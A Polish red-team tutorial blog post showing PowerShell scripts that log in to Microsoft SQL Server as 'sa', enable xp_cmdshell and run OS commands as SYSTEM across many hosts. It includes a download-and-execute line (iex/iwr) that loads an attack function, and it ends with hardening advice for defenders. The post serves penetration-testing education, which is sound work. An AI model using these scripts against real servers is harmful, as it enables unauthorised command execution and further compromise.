Powershell spotyka Microsoft SQL Server - uruchamianie poleceń w OS

21 lutego 2019, Autor: Paweł Maziarz, Kategoria red, tagi: , , , ,

W poprzednim wpisie przekopaliśmy dokumentację różnych producentów oprogramowania w poszukiwaniu loginów i haseł uprzywilejowanych użytkowników usługi Microsoft SQL Server.

Zobaczyliśmy jak w prosty sposób za pomocą Powershella mogliśmy je zweryfikować, by ostatecznie przygotować listę hostów oraz działających poświadczeń.

Świetnie, możemy zatem przejść do kolejnej fazy czyli spróbować skorzystać z procedury, która jest powodem tego całego zamieszania - xp_cmdshell. Procedura ta uruchamia polecenie w systemie operacyjnym, zgodnie z czym mówi jej opis:

Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text.

Jak dla mnie bomba. Kilka linijek w Powershellu, w wyniku których spróbujemy uruchomić polecenie whoami poprzez bazę danych MSSQL może wyglądać jak poniżej.

$_user = "sa"
$_pass = "P@ssw0rd"
$_host = "172.16.0.15"
$_query = "exec xp_cmdshell 'whoami'"

$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist Security Info=True;User ID=$_user;Password=$_pass"
$Connection.Open()
$command = $connection.CreateCommand()
$command.CommandText = $_query
$result = $command.ExecuteReader()
$table = new-object "System.Data.DataTable"
$table.Load($result)
echo $table

Po jego uruchomieniu widzimy, że coś jednak poszło nie tak:

SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

Oznacza to ni mniej ni więcej tyle, że procedura xp_cmdshell jest wyłączona - jest to domyślna sytuacja, zwłaszcza przy względnie nowych instalacjach MSSQL. I wszystko byłoby nieźle (z punktu widzenia blueteamu), gdyby nie fakt, że skoro mamy uprawnienia superadmina, możemy bardzo łatwo xp_cmdshell aktywować. Wystarczy podmienić delikatnie zmienną $_query w powyższym skrypcie, by wysłać do bazy danych zapytanie włączające naszego dzisiejszego bohatera:

$_query = @'
exec sp_configure 'show advanced options', 1 
RECONFIGURE 
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;  
'@

Czyli nie potrzebujemy zmieniać konfiguracji serwera czy go nawet restartować - wystarczy to proste zapytanie SQL.

Mając xp_cmdshell aktywną, możemy ponowić nasze zapytanie, tym razem wynik będzie weselszy:

MSSQL Powershell

Bingo! I tutaj od razu bardzo istotna rzecz może rzucić się w oczy - uruchomiliśmy polecenie z uprawnieniami użytkownika, z którego uruchomiona jest usługa MSSQL - w naszym przypadku nt authority\system. To źle, bardzo źle. Dla blueteamu. Użytkownik ten posiada uprawnienia administracyjne na serwerze, co daje atakującym szereg możliwości na dalsze ataki (chociażby uruchomienie mimikatz-a, dzięki któremu można odczytać hasła użytkowników w czystym tekście).

Uruchamianie usługi MSSQL jako nt authority\system jest passé, sam Microsoft to wyraźnie wyjaśnia:

The Local System account option is provided for backward compatibility only. The Local System account has permissions that SQL Server Agent does not require. Avoid running SQL Server Agent as the Local System account. For improved security, use a Windows domain account with the permissions listed in the following section, “Windows Domain Account Permissions.”

Zróbmy to porządnie

By wygodniej to wszystko weryfikować, przygotowałem dla Was funkcję Invoke-MSSQLExec, która umożliwia uruchomienie xp_cmdshell na wielu hostach, dodatkowo posiada kilka wygodnych opcji. Najważniejsze z nich to:

  • -Host - Host (jeden lub tablica hostów); parametr Host można też podać jako wejście (czyli wykorzystując wyjście innego polecenia)
  • -User - nazwa użytkownika (domyślnie sa)
  • -Password - Hasło użytkownika (domyślnie puste)
  • -EnableXpCmdShell - czy włączyć xp_cmdshell na serwerze
    No - nie włączaj, jeśli na serwerze xp_cmdshell jest wyłączone, uruchomienie polecenia zakończy się niepowodzeniem
    IfNeeded - sprawdź czy xp_cmdshell jest włączona - jeśli nie, włącz ją (domyślna wartość)
  • -DisableXpCmdShell - czy wyłączyć xp_cmdshell na serwerze po zakończeniu działań
    IfModified - wyłącz xp_cmdshell jeśli wcześniej było wyłączone, a w wyniku działania tej funkcji zostało włączone (domyślna wartość)
    Yes - tak, wyłącz xp_cmdshell po zakończeniu działania; jeśli inne aplikacje korzystają z tej funkcjonalności mogą przestać działać prawidłowo
    No - nie wyłączaj xp_cmdshell (czyli ułatwiamy lekko życie innym hakerom;)
  • -Verbose - powiadamiaj na bieżąco co się dzieje

Wyniki uruchomionych poleceń na konkretnych hostach reprezentowane są jako obiekt, który można wygodnie zapisać do pliku lub w inny sposób przetwarzać.

W akcji Invoke-MSSQLExec może wyglądać jak poniżej.

iex (iwr https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/Invoke-MSSQLExec.ps1)

$targets =
    @{Host="172.16.0.12";User="sa";Password="Zima2019!"},
    @{Host="172.16.0.15";User="sa";Password="P@ssw0rd"}

$targets | % {
    Invoke-MSSQLExec -Host $_.Host -User $_.User -Password $_.Password -Command "whoami" -Verbose|format-list
}

W pierwszej linijce importujemy funkcję Invoke-MSSQLExec (iex czyli skrócone Invoke-Expression na wyniku iwr czyli skróconym Invoke-WebRequest). Następnie definiujemy nasze cele ($targets), na których w pętli uruchamiamy Invoke-MSSQLExec.

W wyniku działania tego skryptu, powinniśmy ujrzeć:

VERBOSE: [*] Trying host 172.16.0.12
VERBOSE: [*] Connected to 172.16.0.12
VERBOSE: [*] Checking whether xp_cmdshell is enabled
VERBOSE: [*] xp_cmdshell enabled: 0
VERBOSE: [*] Enabling xp_cmdshell
VERBOSE: [*] Trying to execute xp_cmdshell 'whoami'
VERBOSE: [*] Disabling xp_cmdshell

Host    : 172.16.0.12
Command : whoami
Output  : nt authority\system
          
VERBOSE: [*] Trying host 172.16.0.15
VERBOSE: [*] Connected to 172.16.0.15
VERBOSE: [*] Checking whether xp_cmdshell is enabled
VERBOSE: [*] xp_cmdshell enabled: 1
VERBOSE: [*] Trying to execute xp_cmdshell 'whoami'

Host    : 172.16.0.15
Command : whoami
Output  : nt authority\system

Oczywiście możemy opcję -Verbose pominąć, a zamiast |format-list na końcu możemy wynik zapisać do pliku np. poprzez |Add-Content plik.txt lub |Export-Csv plik.csv lub |format-list|out-file plik.txt itd.

W kolejnej, ostatniej części serii z MSSQLem i Powershellem w rolach głównych pokombinujemy jak sprawnie odnaleźć usługi Microsoft SQL Server w organizacji i je hurtowo wyexploitować/zweryfikować.

A tymczasem propozycje dla red i blue.

Red team vs Blue team

Red team
  • Odróbcie lekcje z poprzedniego wpisu
  • Przygotujcie sobie kilka gotowych payloadów do uruchomienia na skompromitowanych usługach, pamiętając, że czasem dostaniecie uprzywilejowanego użytkownika czasem nie, czasem będzie Powershell czasem nie, czasem będzie stary Powershell czasem nowy, czasem host będzie miał dostęp do Internetu czasem nie etc
  • Bądźcie profesjonalni - jeśli włączacie xp_cmdshell a było wyłączone, wyłączcie je po zakończeniu działań
Blue team
  • Odróbcie lekcje z poprzedniego wpisu
  • Zweryfikujcie czy usługi MSSQL są uruchamiane z uprzywilejowanego użytkownika (typowo nt authority\system) - jeśli tak, naprawcie to
  • Zweryfikujcie czy aplikacje wykorzystujące MSSQL łączą się do bazy jako sa czy inny uprzywilejowany użytkownik, jeśli tak, postarajcie się, by dostawca oprogramowania naprawił to
  • Nie jest złym pomysłem monitorowanie poleceń uruchamianych w systemie przez użytkownika, z którego uruchomiona jest baza danych

* * *

W przypadku kiedy by się okazało, że ten wpis jest dla Ciebie pomocny, będzie mi miło jeśli podzielisz się nim na Facebooku, LinkedIn i Twitterze.